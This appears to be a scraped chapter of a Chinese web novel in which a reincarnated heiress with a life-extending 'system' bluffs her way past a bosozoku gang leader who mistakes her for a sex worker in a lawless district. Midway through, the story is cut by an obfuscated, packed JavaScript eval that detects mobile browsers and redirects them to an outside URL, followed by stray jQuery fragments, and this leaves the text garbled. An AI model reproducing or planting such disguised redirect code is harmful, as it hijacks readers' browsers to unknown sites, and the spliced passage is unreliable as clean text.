4. 【4】
作品:《重生拯救自己,但一个半世纪前》 如果有一天让你长生不老的话,你会接受吗?
作为曾经在网络上风靡一时的热门话题,和这个问题下不断论证“长生未必是件好事”的回答并不同。
如果叫飞鸟凉来填写,没有意外,她只会有那一个答案。
当然会。
在主流媒体的宣传中,女性超过25岁就得开始准备抗老了。
飞鸟凉不在乎他人的想法,但她确实是想要一直、一直活下去的,如果在这个基础上,还能青春永驻就再好不过了。
幸运的是,即使自己遭遇了未曾料想的磨难,命运似乎也没有停止眷顾她。
看上去颇有保障的系统给她带来了“延长寿命”的说法,那种曾经为无数人料想、憧憬的长生似乎在她面前变得有迹可循起来。
飞鸟凉想。
但前提是,她今天不死在这里的话。
左上角的数字一刻也没有停止掉下,似乎只有按照系统的话,接触到目标人物才能让它们增加。
可眼前的场景似乎明明白白告诉了飞鸟凉,她此刻似乎并不具备这样的条件。
飞鸟凉甚至还没有找到目标人物的具体位置。
即使眼前的暴走族不给她造成身体上的损伤,只是给她带走困住一段时间……
自己如同昙花一现的生命轻易凋零,也不过是肉眼可见的未来。
因此,她不仅得要对方不为难她,最好还得别人给她当场放了。
“怎么不说话?”
没听到飞鸟凉的回答,金发男子挑了挑眉,漂成金色的发绺随偏头动作扫过眉骨。
他上下打量了一下飞鸟凉的穿着,目光在她从外套里透出的丝绸衬衫中停留地更久了一些:“...我也不是不识货的人,这个数给你,跟我走,如何?”
飞鸟凉能意识到对方伸出手,比划了一个数字来。
但说实话,她确实没有看见对方比出了多少。
就连想要讨价还价地回应拖时间,似乎都有些麻烦起来。
那白色的大灯就算只是从侧面看去,也晃眼地惊人。
更不用说,此刻还随着对方的动作,整个车头都正过来对着自己。
但对方却全然没有意识到这一点,还在以一种轻车路熟的姿态,想要跟自己做交易......
飞鸟凉想。
所以,到底是对面是个新手,还是这片地区尽是如此,他完全没有想过自己还没有适应光线这种可能?
余光从跟在金发男人身后的俩个人身上一扫而过,飞鸟凉否定了前一种可能性。
暴走族。
作为曾经上过社会新闻的群体,飞鸟凉对这个群体的并非一无所知。
改装摩托的灯效,作为眼前这些暴走族彰显自身存在感的手段之一,是从不吝啬于在这上面花费金钱和配置的倾斜的。
而在发现她的存在后,后面两辆摩托车就随着金发男子的动作一并向她的方向扭过头来。
被三辆摩托、六个堪比室内白炽灯的灯光脸对脸地亲吻着,飞鸟凉很有些不堪忍受。
她下意识偏过头,但又不得不转回来,思索是否能从回答金发男人的行为动作中窥得机会。
毕竟,自救,似乎已经成为了她现在唯一能够选择的途径。
暴走族的摩托改装特点如此出名,但比这更出名的,是他们在某一时期甚至掺和进了日本黑^道里。
各种面对官方的大案不断发生,飞鸟凉所看过的新闻甚至都只是对曾经“辉煌”的模仿。
作为主要由年轻人组成的暴走族,即使日常均以群体出行,也多是互帮互助的平等相伴。
而拥有上下尊卑、清晰等级意识的,是以金字塔为核心制度、完全属于黑^道范畴的日本极道。
原本就如同噩梦一般的猜测得到完全的证实,似乎再也找不到比这更加糟糕的境地了。
【系统。】
飞鸟凉一边强忍着眼睛的不适用余光打量情况,一边在心中低声呼唤道。
【我不管你现在什么情况,赶紧给我想想办法——两天之内的时间随便扣。
你给我在这种“三不管地带”扔下来,你必须给我一个方案。】
墙面腐朽脱落,垃圾无人处理,就连住户都少的可怜。
——再加上眼前这些男人当街把她当做特殊从业者的表现。
即使还还没有详细地考察过这片地区,也不耽误飞鸟凉确信,这就是一个完全符合特征的三不管地带。
作为最先由字面意思衍生出来的词汇,“三不管”原本只是指在三个行政区域的夹角中,衍生出的不便管辖的区域。
可很快,它就因为它过于鲜明的外在特质成为了一个形容一般的词汇。
相比于最开始的“三不管”所指示的三区交界,在这个词语的飞速传播开来后,城中村,两地交界...这类型的地区一并被划归此,一道享受这个俗称。
没有被官方管束,就意味着完全自由的野蛮发展。
等到“不被管辖重视”的消息为人所知,现实的法律就会在这里失去效用。
而作为社会化的产物,在了解到这件事的一瞬间,人类所拥有的文明、道德就会一夕之间退到千年。
个体的武力会在这种情况下再次支配一切,“正确与否”将重新获胜那方提出。
当然,人到底自幼接受道德教育,这种现象或许会让人感到奇怪和疑惑,甚至疑心这是否编纂出来、用于恐吓的产物。
飞鸟凉想。但她清楚,她实在是太清楚了。
当这些描述切实地存在,而不只是被编纂出来的故事,那它们压在当地人身上的分量,远比任何人想象中的都要重得多。
身为受害者,法律的一切武器都在这种地方失去了威胁能力。
报案无人受理,纠纷会被推诿,踢皮球的现象比比皆是。
而电视上的官员十年如一日地在上面慷慨激,抬起的眼睛似乎永远看不见这些夹缝中的地方。
作为曾经的大公司的继承人,飞鸟凉当然非常清楚这些官员在想什么。
无论是区域的交界、夹缝,还是城中村位置,本质上都属于行政管辖界限模糊,或者权责不清等问题。
而这种问题往往就能带给当值官员足够合适的理由,避免他们免于政治风评的损失。
犯罪率高?那其他区域的管辖范围。
社会保障差?很多都是流动居民,和我们所任职的范围毫无关系。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258420|166475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
环境污染、甚至有传染病没有及时处理?哎呀冤枉呀,作为交界区域,本身就有很多流窜居民,这我们能有什么办法嘛。
即使不讨论她似乎还作为“黑户”的身份,在这种地区摆脱可能是极道组织成员的暴走族,似乎也只有向系统这种超自然力量寻求帮助一种可选方式。
但飞鸟凉在心底对系统的要求不会表现在外表上,于是,在这些暴走族眼中,就是飞鸟凉在他们开价之后,一句话不说地沉默了下来。
“你这女人,迟疑什么,是怀疑我开的价不够高吗?”
似乎是在小弟面前有些尴尬,为首的金发男人在停下自己的摩托后,从口袋里掏出半包薄荷烟来。
面对看似手无缚鸡之力的飞鸟凉,他如同动作慢放一般地点燃,然后将烟夹到指尖问道。
月光在龟裂的沥青路面上停留,没有行人的夜晚里,即使是最细微的风声也在紧张的飞鸟凉耳边扩大。
火光在恨不得把她眼睛刺瞎的车灯面前不算显眼,但飞鸟凉还是注意到他并不算熟练的点烟吸烟。
可金发男子对飞鸟凉的目光毫无所觉。
他将烟含在嘴里,话音的落地惊起身后几声哄笑:“别太得寸进尺,女人。这种时候,没有我以外的人能开出更高的价码了...还是说,你不是干这行的?”
尾音不算重,仿佛一种调侃性质的玩笑。
但或许是因为注意力的集中,飞鸟凉看得分明,金发男人在短暂的停顿后皱了皱眉,望向自己的目光也更加犀利,仿佛某种审视一般。
不能承认自己的清白。
飞鸟凉几乎一瞬间就做下定论。
看对方的样子,被拦下来率先问价、而不是直接拉到摩托车上拖走,似乎是某种这片地区的潜规则。
而自己一旦承认了清白,不再受这种可能和伎女有关的规则所管辖,飞鸟凉不确定自己会遇到什么事情来。
但这种情况不一定是一件坏事——就算最残暴的秩序,也比完全的无序要好得多。
“当然不止这个数。”
顶着要将人眼闪瞎的光亮,飞鸟凉强迫自己扯出一个笑容。
“…你这话真有意思。我又为什么一定要在这个时间开价?提前谈好的价码多了去了,你这个没见识的小子。”
系统还没开口,她最起码得撑到对方给出回应才行。
比闪光灯还要刺眼的车灯的照耀下,金发的石川茂坐在摩托上,看见眼前的女人勾勒嘴角。
毫无瑕疵的皮肤几乎能用“密雪未知肌白”来形容,更是衬得她缎带一般柔滑的金色发丝色如香槟。
石川下意识对比,和自己因为劣质染色剂来回漂染,而堪比稻草的发丝大不相像。
他听到她的声音,带点沙哑的、似乎有一些若有若无的笑意:“你既然不是不识货的人,那应该能看得出我这全身上下的价值来...耽误上面的人享乐,你确定能承受得起吗?”
好、慢的语气,石川想。
他出生在这样的地方,记忆里几乎只有暴力,所有人都因为生存变得迫切。
在他浑浑噩噩的记忆里,他只听过一个人有类似的语气——他的恩人,这片地区、暴走族的头领,相马一。